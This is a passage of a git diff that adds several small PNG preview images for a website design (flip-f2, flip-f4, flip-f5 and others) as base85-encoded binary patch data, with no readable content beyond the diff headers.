c{{0&O0i8-@_{i+d*^3ImNY6~SLI)Q4FHAEe@Bjb+ literal 0 HcmV?d00001 diff --git a/website-design/previews/flip-f2.png b/website-design/previews/flip-f2.png new file mode 100644 index 0000000000000000000000000000000000000000..8611dabc259c8bdb646568c8eddadb07f2bdba6c GIT binary patch literal 2807 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 O04&XHpk<~mG5-e3bW|Mx literal 0 HcmV?d00001 diff --git a/website-design/previews/flip-f4.png b/website-design/previews/flip-f4.png new file mode 100644 index 0000000000000000000000000000000000000000..59bb614ed4e000227570d0279c7ac46f5416016f GIT binary patch literal 2815 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 Hf=B%aFfmr0 literal 0 HcmV?d00001 diff --git a/website-design/previews/flip-f5.png b/website-design/previews/flip-f5.png new file mode 100644 index 0000000000000000000000000000000000000000..0c280c4f9d82dff0f9a84e530c3395eff08ce9a7 GIT binary patch literal 2766 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 